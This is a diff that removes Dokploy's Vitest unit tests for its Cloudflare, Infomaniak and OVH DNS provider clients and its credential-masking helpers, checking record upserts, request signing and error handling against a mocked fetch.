-describe("cloudflareClient.upsertRecord", () => {
-	it("creates a record when none exists for the name/type", async () => {
-		mockFetch
-			.mockResolvedValueOnce(cfSuccess([]))
-			.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
-
-		const result = await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-		});
-
-		expect(result).toEqual({ id: "new-1" });
-		const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
-		expect(createInit.method).toBe("POST");
-	});
-
-	it("updates the existing record when content matches", async () => {
-		mockFetch
-			.mockResolvedValueOnce(
-				cfSuccess([{ id: "existing-1", type: "A", content: "5.6.7.8" }]),
-			)
-			.mockResolvedValueOnce(cfSuccess({ id: "existing-1" }));
-
-		const result = await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "A",
-			name: "app.example.com",
-			content: "5.6.7.8",
-		});
-
-		expect(result).toEqual({ id: "existing-1" });
-		const [updateUrl, updateInit] = mockFetch.mock.calls[1] as [
-			string,
-			RequestInit,
-		];
-		expect(updateUrl).toContain("/dns_records/existing-1");
-		expect(updateInit.method).toBe("PUT");
-	});
-
-	it("creates a new record when content differs from existing", async () => {
-		mockFetch
-			.mockResolvedValueOnce(
-				cfSuccess([{ id: "existing-1", type: "A", content: "1.1.1.1" }]),
-			)
-			.mockResolvedValueOnce(cfSuccess({ id: "new-2" }));
-
-		const result = await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "A",
-			name: "app.example.com",
-			content: "5.6.7.8",
-		});
-
-		expect(result).toEqual({ id: "new-2" });
-		const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
-		expect(createInit.method).toBe("POST");
-	});
-
-	it("defaults ttl to 1 (automatic) when not provided", async () => {
-		mockFetch
-			.mockResolvedValueOnce(cfSuccess([]))
-			.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
-
-		await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "CNAME",
-			name: "www.example.com",
-			content: "example.com",
-		});
-
-		const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
-		const body = JSON.parse(createInit.body as string);
-		expect(body.ttl).toBe(1);
-	});
-});
-
-describe("cloudflareClient.updateRecord", () => {
-	it("PUTs directly to the given record id", async () => {
-		mockFetch.mockResolvedValue(cfSuccess({ id: "r1" }));
-
-		const result = await cloudflareClient.updateRecord(config, "zone-1", "r1", {
-			type: "A",
-			name: "app.example.com",
-			content: "9.9.9.9",
-			ttl: 300,
-		});
-
-		expect(result).toEqual({ id: "r1" });
-		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
-		expect(url).toContain("/zones/zone-1/dns_records/r1");
-		expect(init.method).toBe("PUT");
-		expect(JSON.parse(init.body as string)).toEqual({
-			type: "A",
-			name: "app.example.com",
-			content: "9.9.9.9",
-			ttl: 300,
-		});
-	});
-});
-
-describe("cloudflareClient.deleteRecord", () => {
-	it("DELETEs the given record id", async () => {
-		mockFetch.mockResolvedValue(cfSuccess({}));
-
-		await cloudflareClient.deleteRecord(config, "zone-1", "r1");
-
-		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
-		expect(url).toContain("/zones/zone-1/dns_records/r1");
-		expect(init.method).toBe("DELETE");
-	});
-});
-
-describe("cloudflareClient.testConnection", () => {
-	it("succeeds when the token can list zones", async () => {
-		mockFetch.mockResolvedValue(cfSuccess([]));
-		await expect(
-			cloudflareClient.testConnection(config),
-		).resolves.toBeUndefined();
-	});
-
-	it("surfaces Cloudflare's error message on an invalid token", async () => {
-		mockFetch.mockResolvedValue(cfError("Invalid API Token"));
-
-		await expect(cloudflareClient.testConnection(config)).rejects.toThrow(
-			"Invalid API Token",
-		);
-	});
-});
-
-describe("cloudflareClient auth header", () => {
-	it("trims whitespace pasted into the token", async () => {
-		mockFetch.mockResolvedValue(cfSuccess([]));
-
-		await cloudflareClient.testConnection({
-			providerType: "cloudflare",
-			apiToken: "  cf-token\n",
-		});
-
-		const [, init] = mockFetch.mock.calls[0] as [string, RequestInit];
-		expect((init.headers as Record<string, string>).Authorization).toBe(
-			"Bearer cf-token",
-		);
-	});
-});

apps/dokploy/__test__/dns/dns-provider-service.test.ts

@@ -1,116 +0,0 @@
-import { describe, expect, it, vi } from "vitest";
-
-vi.mock("@dokploy/server/db", () => ({
-	db: {
-		query: { dnsProvider: { findFirst: vi.fn(), findMany: vi.fn() } },
-		insert: vi.fn(),
-		update: vi.fn(),
-		delete: vi.fn(),
-	},
-}));
-
-import {
-	DNS_SECRET_MASK,
-	maskDnsProviderConfig,
-	mergeDnsProviderConfig,
-} from "@dokploy/server/services/dns-provider";
-
-describe("maskDnsProviderConfig", () => {
-	it("masks the apiToken for a cloudflare config", () => {
-		const masked = maskDnsProviderConfig({
-			providerType: "cloudflare",
-			apiToken: "real-token",
-		});
-
-		expect(masked).toEqual({
-			providerType: "cloudflare",
-			apiToken: DNS_SECRET_MASK,
-		});
-	});
-
-	it("masks only the secretAccessKey for a route53 config, keeping accessKeyId visible", () => {
-		const masked = maskDnsProviderConfig({
-			providerType: "route53",
-			accessKeyId: "AKIA_VISIBLE",
-			secretAccessKey: "shh",
-		});
-
-		expect(masked).toEqual({
-			providerType: "route53",
-			accessKeyId: "AKIA_VISIBLE",
-			secretAccessKey: DNS_SECRET_MASK,
-		});
-	});
-
-	it("leaves an empty sensitive field untouched instead of masking a blank value", () => {
-		const masked = maskDnsProviderConfig({
-			providerType: "cloudflare",
-			apiToken: "",
-		});
-
-		expect(masked).toEqual({ providerType: "cloudflare", apiToken: "" });
-	});
-});
-
-describe("mergeDnsProviderConfig", () => {
-	it("restores the real secret when the incoming config still has the mask placeholder", () => {
-		const existing = {
-			providerType: "cloudflare" as const,
-			apiToken: "real-token",
-		};
-		const incoming = {
-			providerType: "cloudflare" as const,
-			apiToken: DNS_SECRET_MASK,
-		};
-
-		expect(mergeDnsProviderConfig(incoming, existing)).toEqual(existing);
-	});
-
-	it("keeps a freshly entered secret instead of the stored one", () => {
-		const existing = {
-			providerType: "cloudflare" as const,
-			apiToken: "old-token",
-		};
-		const incoming = {
-			providerType: "cloudflare" as const,
-			apiToken: "new-token",
-		};
-
-		expect(mergeDnsProviderConfig(incoming, existing)).toEqual(incoming);
-	});
-
-	it("throws when switching provider type while the field is still masked", () => {
-		const existing = {
-			providerType: "cloudflare" as const,
-			apiToken: "real-token",
-		};
-		const incoming = {
-			providerType: "route53" as const,
-			accessKeyId: "AKIA",
-			secretAccessKey: DNS_SECRET_MASK,
-		};
-
-		expect(() => mergeDnsProviderConfig(incoming, existing)).toThrow(
-			"Credentials must be re-entered",
-		);
-	});
-
-	it("does not require re-entry for fields that are not sensitive", () => {
-		const existing = {
-			providerType: "route53" as const,
-			accessKeyId: "AKIA_OLD",
-			secretAccessKey: "old-secret",
-		};
-		const incoming = {
-			providerType: "route53" as const,
-			accessKeyId: "AKIA_NEW",
-			secretAccessKey: DNS_SECRET_MASK,
-		};
-
-		expect(mergeDnsProviderConfig(incoming, existing)).toEqual({
-			providerType: "route53",
-			accessKeyId: "AKIA_NEW",
-			secretAccessKey: "old-secret",
-		});
-	});
-});

apps/dokploy/__test__/dns/infomaniak.test.ts

@@ -1,486 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-const mockFetch = vi.fn();
-global.fetch = mockFetch as typeof fetch;
-
-import { infomaniakClient } from "@dokploy/server/utils/dns/infomaniak";
-
-const jsonResponse = (body: unknown, ok = true, status = 200) =>
-	({
-		ok,
-		status,
-		json: async () => body,
-	}) as Response;
-
-const ikSuccess = (data: unknown) => jsonResponse({ result: "success", data });
-
-const ikPage = (data: unknown, page: number, pages: number) =>
-	jsonResponse({ result: "success", data, page, pages });
-
-const ikError = (description: string, status = 400) =>
-	jsonResponse(
-		{ result: "error", error: { code: "not_authorized", description } },
-		false,
-		status,
-	);
-
-const config = {
-	providerType: "infomaniak" as const,
-	apiToken: "ik_test_token",
-};
-
-const lastCall = () =>
-	mockFetch.mock.calls.at(-1) as [string, RequestInit & { method?: string }];
-
-const lastBody = () => JSON.parse(lastCall()[1].body as string);
-
-beforeEach(() => {
-	mockFetch.mockReset();
-});
-
-describe("infomaniakClient.listZones", () => {
-	it("exposes each domain product as a zone keyed by its name", async () => {
-		mockFetch.mockResolvedValue(
-			ikPage(
-				[
-					{ id: 1, customer_name: "example.com" },
-					{ id: 2, customer_name: "example.ch" },
-				],
-				1,
-				1,
-			),
-		);
-
-		const zones = await infomaniakClient.listZones(config);
-
-		expect(zones).toEqual([
-			{ id: "example.com", name: "example.com" },
-			{ id: "example.ch", name: "example.ch" },
-		]);
-		const [url, init] = lastCall();
-		// The documented endpoint is the plural one; the singular is legacy and
-		// returns no pagination metadata at all.
-		expect(url).toContain("/1/products?service_name=domain");
-		expect(url).toContain("page=1");
-		expect(init.headers).toMatchObject({
-			Authorization: "Bearer ik_test_token",
-		});
-	});
-
-	it("walks every page so accounts with many domains keep all their zones", async () => {
-		mockFetch
-			.mockResolvedValueOnce(ikPage([{ id: 1, customer_name: "a.com" }], 1, 3))
-			.mockResolvedValueOnce(ikPage([{ id: 2, customer_name: "b.com" }], 2, 3))
-			.mockResolvedValueOnce(ikPage([{ id: 3, customer_name: "c.com" }], 3, 3));
-
-		const zones = await infomaniakClient.listZones(config);
-
-		expect(zones.map((zone) => zone.name)).toEqual(["a.com", "b.com", "c.com"]);
-		expect(mockFetch).toHaveBeenCalledTimes(3);
-		expect((mockFetch.mock.calls[2] as [string])[0]).toContain("page=3");
-	});
-
-	it("stops after a single page when the response has no pagination", async () => {
-		mockFetch.mockResolvedValue(ikSuccess([{ id: 1, customer_name: "a.com" }]));
-
-		const zones = await infomaniakClient.listZones(config);
-
-		expect(zones).toEqual([{ id: "a.com", name: "a.com" }]);
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-	});
-
-	it("propagates the API error description", async () => {
-		mockFetch.mockResolvedValue(ikError("Authorization required", 401));
-
-		await expect(infomaniakClient.listZones(config)).rejects.toThrow(
-			"Authorization required",
-		);
-	});
-});
-
-describe("infomaniakClient.listRecords", () => {
-	it("rebuilds the fqdn from the relative source", async () => {
-		mockFetch.mockResolvedValue(
-			ikSuccess([
-				{ id: 10, type: "A", source: "app", target: "1.2.3.4", ttl: 300 },
-				{ id: 11, type: "A", source: "", target: "5.6.7.8", ttl: 600 },
-			]),
-		);
-
-		const records = await infomaniakClient.listRecords(config, "example.com");
-
-		expect(records).toEqual([
-			{
-				id: "10",
-				type: "A",
-				name: "app.example.com",
-				content: "1.2.3.4",
-				ttl: 300,
-			},
-			{
-				id: "11",
-				type: "A",
-				name: "example.com",
-				content: "5.6.7.8",
-				ttl: 600,
-			},
-		]);
-		expect(lastCall()[0]).toBe(
-			"https://api.infomaniak.com/2/zones/example.com/records?with=records_description",
-		);
-	});
-
-	it.each([".", "", "@"])("treats a %s source as the apex", async (source) => {
-		mockFetch.mockResolvedValue(
-			ikSuccess([{ id: 12, type: "A", source, target: "1.2.3.4", ttl: 300 }]),
-		);
-
-		const records = await infomaniakClient.listRecords(config, "example.com");
-
-		expect(records[0]?.name).toBe("example.com");
-	});
-
-	it("unquotes TXT targets", async () => {
-		mockFetch.mockResolvedValue(
-			ikSuccess([
-				{
-					id: 13,
-					type: "TXT",
-					source: "_acme-challenge",
-					target: '"token-value"',
-					ttl: 300,
-				},
-			]),
-		);
-
-		const records = await infomaniakClient.listRecords(config, "example.com");
-
-		expect(records[0]?.content).toBe("token-value");
-	});
-
-	it("leaves a CAA target untouched", async () => {
-		mockFetch.mockResolvedValue(
-			ikSuccess([
-				{
-					id: 14,
-					type: "CAA",
-					source: "",
-					target: '0 issue "letsencrypt.org"',
-					ttl: 300,
-				},
-			]),
-		);
-
-		const records = await infomaniakClient.listRecords(config, "example.com");
-
-		expect(records[0]?.content).toBe('0 issue "letsencrypt.org"');
-	});
-});
-
-describe("infomaniakClient.upsertRecord", () => {
-	it("creates the record when no matching source and type exists", async () => {
-		mockFetch
-			.mockResolvedValueOnce(ikSuccess([]))
-			.mockResolvedValueOnce(ikSuccess({ id: 42 }));
-
-		const result = await infomaniakClient.upsertRecord(config, {
-			zoneId: "example.com",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-			ttl: 600,
-		});
-
-		expect(result).toEqual({ id: "42" });
-		const [url, init] = lastCall();
-		expect(url).toBe("https://api.infomaniak.com/2/zones/example.com/records");
-		expect(init.method).toBe("POST");
-		expect(lastBody()).toEqual({
-			type: "A",
-			source: "app",
-			target: "1.2.3.4",
-			ttl: 600,
-		});
-	});
-
-	it("updates the existing record when content matches", async () => {
-		mockFetch
-			.mockResolvedValueOnce(
-				ikSuccess([
-					{ id: 7, type: "A", source: "app", target: "1.2.3.4", ttl: 300 },
-				]),
-			)
-			.mockResolvedValueOnce(ikSuccess({ id: 7 }));
-
-		const result = await infomaniakClient.upsertRecord(config, {
-			zoneId: "example.com",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-		});
-
-		expect(result).toEqual({ id: "7" });
-		const [url, init] = lastCall();
-		expect(url).toBe(
-			"https://api.infomaniak.com/2/zones/example.com/records/7",
-		);
-		expect(init.method).toBe("PUT");
-		expect(lastBody().ttl).toBe(300);
-	});
-
-	it("creates a new record when content differs from existing", async () => {
-		mockFetch
-			.mockResolvedValueOnce(
-				ikSuccess([
-					{ id: 7, type: "A", source: "app", target: "1.1.1.1", ttl: 300 },
-				]),
-			)
-			.mockResolvedValueOnce(ikSuccess({ id: 50 }));
-
-		const result = await infomaniakClient.upsertRecord(config, {
-			zoneId: "example.com",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-		});
-
-		expect(result).toEqual({ id: "50" });
-		const [url, init] = lastCall();
-		expect(url).toBe("https://api.infomaniak.com/2/zones/example.com/records");
-		expect(init.method).toBe("POST");
-	});
-
-	it("writes a root dot as the source for an apex record and strips the trailing dot", async () => {
-		mockFetch
-			.mockResolvedValueOnce(ikSuccess([]))
-			.mockResolvedValueOnce(ikSuccess({ id: 43 }));
-
-		await infomaniakClient.upsertRecord(config, {
-			zoneId: "example.com",
-			type: "A",
-			name: "example.com.",
-			content: "1.2.3.4",
-		});
-
-		expect(lastBody().source).toBe(".");
-	});
-
-	it.each([".", "", "@"])(
-		"matches an existing apex record stored with a %s source",
-		async (source) => {
-			mockFetch
-				.mockResolvedValueOnce(
-					ikSuccess([
-						{ id: 8, type: "A", source, target: "1.2.3.4", ttl: 3600 },
-					]),
-				)
-				.mockResolvedValueOnce(ikSuccess({ id: 8 }));
-
-			const result = await infomaniakClient.upsertRecord(config, {
-				zoneId: "example.com",
-				type: "A",
-				name: "example.com",
-				content: "1.2.3.4",
-			});
-
-			expect(result).toEqual({ id: "8" });
-			expect(lastCall()[1].method).toBe("PUT");
-		},
-	);
-
-	it("matches the existing apex record instead of creating a duplicate", async () => {
-		mockFetch
-			.mockResolvedValueOnce(
-				ikSuccess([
-					{
-						id: 8,
-						type: "TXT",
-						source: ".",
-						target: '"v=spf1 -all"',
-						ttl: 3600,
-					},
-				]),
-			)
-			.mockResolvedValueOnce(ikSuccess({ id: 8 }));
-
-		const result = await infomaniakClient.upsertRecord(config, {
-			zoneId: "example.com",
-			type: "TXT",
-			name: "example.com",
-			content: "v=spf1 -all",
-		});
-
-		expect(result).toEqual({ id: "8" });
-		const [url, init] = lastCall();
-		expect(init.method).toBe("PUT");
-		expect(url).toBe(
-			"https://api.infomaniak.com/2/zones/example.com/records/8",
-		);
-		expect(lastBody().target).toBe('"v=spf1 -all"');
-	});
-
-	it("quotes a TXT target on write", async () => {
-		mockFetch
-			.mockResolvedValueOnce(ikSuccess([]))
-			.mockResolvedValueOnce(ikSuccess({ id: 44 }));
-
-		await infomaniakClient.upsertRecord(config, {
-			zoneId: "example.com",
-			type: "TXT",
-			name: "_acme-challenge.example.com",
-			content: "token-value",
-		});
-
-		expect(lastBody().target).toBe('"token-value"');
-	});
-
-	it("does not double-quote a TXT target that is already quoted", async () => {
-		mockFetch
-			.mockResolvedValueOnce(ikSuccess([]))
-			.mockResolvedValueOnce(ikSuccess({ id: 45 }));
-
-		await infomaniakClient.upsertRecord(config, {
-			zoneId: "example.com",
-			type: "TXT",
-			name: "_acme-challenge.example.com",
-			content: '"token-value"',
-		});
-
-		expect(lastBody().target).toBe('"token-value"');
-	});
-
-	it("queries the API with a source and type filter instead of the whole zone", async () => {
-		mockFetch
-			.mockResolvedValueOnce(ikSuccess([]))
-			.mockResolvedValueOnce(ikSuccess({ id: 50 }));
-
-		await infomaniakClient.upsertRecord(config, {
-			zoneId: "example.com",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-		});
-
-		const [url] = mockFetch.mock.calls[0] as [string];
-		expect(url).toContain("filter%5Bsource%5D=app");
-		expect(url).toContain("filter%5Btypes%5D%5B%5D=A");
-	});
-
-	it("ignores a partial filter hit rather than overwriting a different record", async () => {
-		// filter[source] matches substrings: asking for "auto" also returns
-		// "autoconfig" and "autodiscover". Trusting it would overwrite one of them.
-		mockFetch
-			.mockResolvedValueOnce(
-				ikSuccess([
-					{
-						id: 61,
-						type: "CNAME",
-						source: "autoconfig",
-						target: "a.example.net",
-						ttl: 300,
-					},
-					{
-						id: 62,
-						type: "CNAME",
-						source: "autodiscover",
-						target: "b.example.net",
-						ttl: 300,
-					},
-				]),
-			)
-			.mockResolvedValueOnce(ikSuccess({ id: 63 }));
-
-		const result = await infomaniakClient.upsertRecord(config, {
-			zoneId: "example.com",
-			type: "CNAME",
-			name: "auto.example.com",
-			content: "c.example.net",
-		});
-
-		expect(result).toEqual({ id: "63" });
-		expect(lastCall()[1].method).toBe("POST");
-	});
-});
-
-describe("infomaniakClient.updateRecord", () => {
-	it("updates the record and keeps its id", async () => {
-		mockFetch.mockResolvedValue(ikSuccess({ id: 7 }));
-
-		const result = await infomaniakClient.updateRecord(
-			config,
-			"example.com",
-			"7",
-			{
-				type: "CNAME",
-				name: "www.example.com",
-				content: "example.com",
-				ttl: 900,
-			},
-		);
-
-		expect(result).toEqual({ id: "7" });
-		const [url, init] = lastCall();
-		expect(url).toBe(
-			"https://api.infomaniak.com/2/zones/example.com/records/7",
-		);
-		expect(init.method).toBe("PUT");
-		expect(lastBody()).toEqual({
-			type: "CNAME",
-			source: "www",
-			target: "example.com",
-			ttl: 900,
-		});
-	});
-
-	it("falls back to the default ttl when none is provided", async () => {
-		mockFetch.mockResolvedValue(ikSuccess({ id: 7 }));
-
-		await infomaniakClient.updateRecord(config, "example.com", "7", {
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-		});
-
-		expect(lastBody().ttl).toBe(300);
-	});
-});
-
-describe("infomaniakClient.deleteRecord", () => {
-	it("deletes the record", async () => {
-		mockFetch.mockResolvedValue(ikSuccess(null));
-
-		await infomaniakClient.deleteRecord(config, "example.com", "7");
-
-		const [url, init] = lastCall();
-		expect(url).toBe(
-			"https://api.infomaniak.com/2/zones/example.com/records/7",
-		);
-		expect(init.method).toBe("DELETE");
-	});
-
-	it("propagates a delete failure", async () => {
-		mockFetch.mockResolvedValue(ikError("Record not found", 404));
-
-		await expect(
-			infomaniakClient.deleteRecord(config, "example.com", "7"),
-		).rejects.toThrow("Record not found");
-	});
-});
-
-describe("infomaniakClient.testConnection", () => {
-	it("resolves when the domain listing succeeds", async () => {
-		mockFetch.mockResolvedValue(ikSuccess([]));
-
-		await expect(
-			infomaniakClient.testConnection(config),
-		).resolves.toBeUndefined();
-	});
-
-	it("rejects on an invalid token", async () => {
-		mockFetch.mockResolvedValue(ikError("Authorization required", 401));
-
-		await expect(infomaniakClient.testConnection(config)).rejects.toThrow(
-			"Infomaniak: request to /1/products?service_name=domain&per_page=1 failed: Authorization required",
-		);
-	});
-});

apps/dokploy/__test__/dns/ovh.test.ts

@@ -1,581 +0,0 @@
-import { createHash } from "node:crypto";
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-const mockFetch = vi.fn();
-global.fetch = mockFetch as typeof fetch;
-
-import { ovhClient } from "@dokploy/server/utils/dns/ovh";
-
-const textResponse = (body: string, ok = true, status = 200) =>
-	({
-		ok,
-		status,
-		text: async () => body,
-	}) as Response;
-
-const ovhSuccess = (data: unknown) =>
-	textResponse(data === undefined ? "" : JSON.stringify(data));
-
-const ovhError = (message: string, status = 403) =>
-	textResponse(JSON.stringify({ message }), false, status);
-
-const SERVER_TIME = 1788268225;
-
-const config = {
-	providerType: "ovh" as const,
-	endpoint: "ovh-eu" as const,
-	applicationKey: "app-key",
-	applicationSecret: "app-secret",
-	consumerKey: "consumer-key",
-};
-
-// Each test uses a distinct endpoint so the module-level clock-skew cache, which
-// is keyed by base url, never leaks a measurement between them.
-let endpointCursor = 0;
-const endpoints = [
-	"ovh-eu",
-	"ovh-ca",
-	"ovh-us",
-	"kimsufi-eu",
-	"kimsufi-ca",
-	"soyoustart-eu",
-	"soyoustart-ca",
-] as const;
-const baseUrls: Record<(typeof endpoints)[number], string> = {
-	"ovh-eu": "https://eu.api.ovh.com/1.0",
-	"ovh-ca": "https://ca.api.ovh.com/1.0",
-	"ovh-us": "https://api.us.ovhcloud.com/1.0",
-	"kimsufi-eu": "https://eu.api.kimsufi.com/1.0",
-	"kimsufi-ca": "https://ca.api.kimsufi.com/1.0",
-	"soyoustart-eu": "https://eu.api.soyoustart.com/1.0",
-	"soyoustart-ca": "https://ca.api.soyoustart.com/1.0",
-};
-
-/** A config on a not-yet-used endpoint, so the first call always fetches /auth/time. */
-const freshConfig = () => {
-	const endpoint = endpoints[
-		endpointCursor % endpoints.length
-	] as (typeof endpoints)[number];
-	endpointCursor += 1;
-	return { ...config, endpoint, baseUrl: baseUrls[endpoint] };
-};
-
-/** Replies to /auth/time, then to each queued API response in order. */
-const mockApi = (...responses: Response[]) => {
-	let call = 0;
-	mockFetch.mockImplementation((url: string) => {
-		if (url.endsWith("/auth/time")) {
-			return Promise.resolve(textResponse(String(SERVER_TIME)));
-		}
-		const response = responses[call];
-		call += 1;
-		return Promise.resolve(response ?? ovhSuccess(null));
-	});
-};
-
-const apiCalls = () =>
-	mockFetch.mock.calls.filter(
-		([url]) => !(url as string).endsWith("/auth/time"),
-	) as [string, RequestInit][];
-
-beforeEach(() => {
-	mockFetch.mockReset();
-});
-
-describe("ovhClient request signing", () => {
-	it("signs the request with the API server clock, not the local one", async () => {
-		const { baseUrl, ...cfg } = freshConfig();
-		mockApi(ovhSuccess(["example.com"]));
-		vi.spyOn(Date, "now").mockReturnValue((SERVER_TIME - 120) * 1000);
-
-		await ovhClient.listZones(cfg);
-
-		const [url, init] = apiCalls()[0] as [string, RequestInit];
-		const headers = init.headers as Record<string, string>;
-		expect(url).toBe(`${baseUrl}/domain/zone`);
-		expect(headers["X-Ovh-Timestamp"]).toBe(String(SERVER_TIME));
-		expect(headers["X-Ovh-Application"]).toBe("app-key");
-		expect(headers["X-Ovh-Consumer"]).toBe("consumer-key");
-
-		const expected = createHash("sha1")
-			.update(
-				["app-secret", "consumer-key", "GET", url, "", SERVER_TIME].join("+"),
-			)
-			.digest("hex");
-		expect(headers["X-Ovh-Signature"]).toBe(`$1$${expected}`);
-
-		vi.restoreAllMocks();
-	});
-
-	it("signs a request body when one is sent", async () => {
-		const { baseUrl, ...cfg } = freshConfig();
-		mockApi(ovhSuccess([]), ovhSuccess({ id: 5 }), ovhSuccess(null));
-		vi.spyOn(Date, "now").mockReturnValue(SERVER_TIME * 1000);
-
-		await ovhClient.upsertRecord(cfg, {
-			zoneId: "example.com",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-		});
-
-		const [url, init] = apiCalls()[1] as [string, RequestInit];
-		const headers = init.headers as Record<string, string>;
-		const body = init.body as string;
-		expect(body).not.toBe("");
-		const expected = createHash("sha1")
-			.update(
-				["app-secret", "consumer-key", "POST", url, body, SERVER_TIME].join(
-					"+",
-				),
-			)
-			.digest("hex");
-		expect(headers["X-Ovh-Signature"]).toBe(`$1$${expected}`);
-
-		vi.restoreAllMocks();
-	});
-});
-
-describe("ovhClient.listZones", () => {
-	it("maps each zone name to a zone", async () => {
-		const cfg = freshConfig();
-		mockApi(ovhSuccess(["example.com", "example.fr"]));
-
-		const zones = await ovhClient.listZones(cfg);
-
-		expect(zones).toEqual([
-			{ id: "example.com", name: "example.com" },
-			{ id: "example.fr", name: "example.fr" },
-		]);
-	});
-
-	it("names the missing root right when OVH refuses the zone listing", async () => {
-		const cfg = freshConfig();
-		mockApi(ovhError("This call has not been granted", 403));
-
-		// A `GET /domain/zone/*` rule does not cover the bare `GET /domain/zone`,
-		// so the raw OVH message would send users looking in the wrong place.
-		await expect(ovhClient.listZones(cfg)).rejects.toThrow(
-			/missing the `GET \/domain\/zone` right/,
-		);
-	});
-
-	it("propagates the API error message", async () => {
-		const cfg = freshConfig();
-		mockApi(ovhError("Invalid signature", 403));
-
-		await expect(ovhClient.listZones(cfg)).rejects.toThrow("Invalid signature");
-	});
-});
-
-describe("ovhClient.listRecords", () => {
-	it("resolves each id into a full record", async () => {
-		const cfg = freshConfig();
-		mockApi(
-			ovhSuccess([1, 2]),
-			ovhSuccess({
-				id: 1,
-				zone: "example.com",
-				fieldType: "A",
-				subDomain: "app",
-				target: "1.2.3.4",
-				ttl: 600,
-			}),
-			ovhSuccess({
-				id: 2,
-				zone: "example.com",
-				fieldType: "A",
-				subDomain: null,
-				target: "5.6.7.8",
-				ttl: null,
-			}),
-		);
-
-		const records = await ovhClient.listRecords(cfg, "example.com");
-
-		expect(records).toEqual([
-			{
-				id: "1",
-				type: "A",
-				name: "app.example.com",
-				content: "1.2.3.4",
-				ttl: 600,
-			},
-			{
-				id: "2",
-				type: "A",
-				name: "example.com",
-				content: "5.6.7.8",
-				ttl: 0,
-			},
-		]);
-	});
-
-	it("keeps the records in the order of the returned ids", async () => {
-		const cfg = freshConfig();
-		const record = (id: number, subDomain: string) => ({
-			id,
-			zone: "example.com",
-			fieldType: "A",
-			subDomain,
-			target: `10.0.0.${id}`,
-			ttl: 60,
-		});
-		mockApi(
-			ovhSuccess([1, 2, 3, 4, 5]),
-			...[1, 2, 3, 4, 5].map((id) => ovhSuccess(record(id, `host${id}`))),
-		);
-
-		const records = await ovhClient.listRecords(cfg, "example.com");
-
-		expect(records.map((r) => r.id)).toEqual(["1", "2", "3", "4", "5"]);
-	});
-});
-
-describe("ovhClient.upsertRecord", () => {
-	it("creates the record then refreshes the zone", async () => {
-		const cfg = freshConfig();
-		mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
-
-		const result = await ovhClient.upsertRecord(cfg, {
-			zoneId: "example.com",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-			ttl: 600,
-		});
-
-		expect(result).toEqual({ id: "9" });
-		const calls = apiCalls();
-		expect(calls[0]?.[0]).toContain(
-			"/domain/zone/example.com/record?fieldType=A&subDomain=app",
-		);
-		expect(calls[1]?.[1].method).toBe("POST");
-		expect(JSON.parse(calls[1]?.[1].body as string)).toEqual({
-			fieldType: "A",
-			subDomain: "app",
-			target: "1.2.3.4",
-			ttl: 600,
-		});
-		expect(calls[2]?.[0]).toContain("/domain/zone/example.com/refresh");
-		expect(calls[2]?.[1].method).toBe("POST");
-	});
-
-	it("updates the existing record when content matches", async () => {
-		const cfg = freshConfig();
-		mockApi(
-			ovhSuccess([4]),
-			ovhSuccess({
-				id: 4,
-				zone: "example.com",
-				fieldType: "A",
-				subDomain: "app",
-				target: "1.2.3.4",
-				ttl: 60,
-			}),
-			ovhSuccess(null),
-			ovhSuccess(null),
-		);
-
-		const result = await ovhClient.upsertRecord(cfg, {
-			zoneId: "example.com",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-		});
-
-		expect(result).toEqual({ id: "4" });
-		const calls = apiCalls();
-		expect(calls[2]?.[0]).toContain("/domain/zone/example.com/record/4");
-		expect(calls[2]?.[1].method).toBe("PUT");
-		expect(calls[3]?.[0]).toContain("/refresh");
-	});
-
-	it("creates a new record when content differs from existing", async () => {
-		const cfg = freshConfig();
-		mockApi(
-			ovhSuccess([4]),
-			ovhSuccess({
-				id: 4,
-				zone: "example.com",
-				fieldType: "A",
-				subDomain: "app",
-				target: "1.1.1.1",
-				ttl: 60,
-			}),
-			ovhSuccess({ id: 10 }),
-			ovhSuccess(null),
-		);
-
-		const result = await ovhClient.upsertRecord(cfg, {
-			zoneId: "example.com",
-			type: "A",
-			name: "app.example.com",
-			content: "5.6.7.8",
-		});
-
-		expect(result).toEqual({ id: "10" });
-		const calls = apiCalls();
-		expect(calls[2]?.[1].method).toBe("POST");
-		expect(calls[3]?.[0]).toContain("/refresh");
-	});
-
-	it("omits the ttl so OVH applies the zone default", async () => {
-		const cfg = freshConfig();
-		mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
-
-		await ovhClient.upsertRecord(cfg, {
-			zoneId: "example.com",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-		});
-
-		expect(JSON.parse(apiCalls()[1]?.[1].body as string)).not.toHaveProperty(
-			"ttl",
-		);
-	});
-
-	it("writes an empty subDomain for the apex and strips the trailing dot", async () => {
-		const cfg = freshConfig();
-		mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
-
-		await ovhClient.upsertRecord(cfg, {
-			zoneId: "example.com",
-			type: "A",
-			name: "example.com.",
-			content: "1.2.3.4",
-		});
-
-		expect(apiCalls()[0]?.[0]).toContain("subDomain=");
-		expect(JSON.parse(apiCalls()[1]?.[1].body as string).subDomain).toBe("");
-	});
-});
-
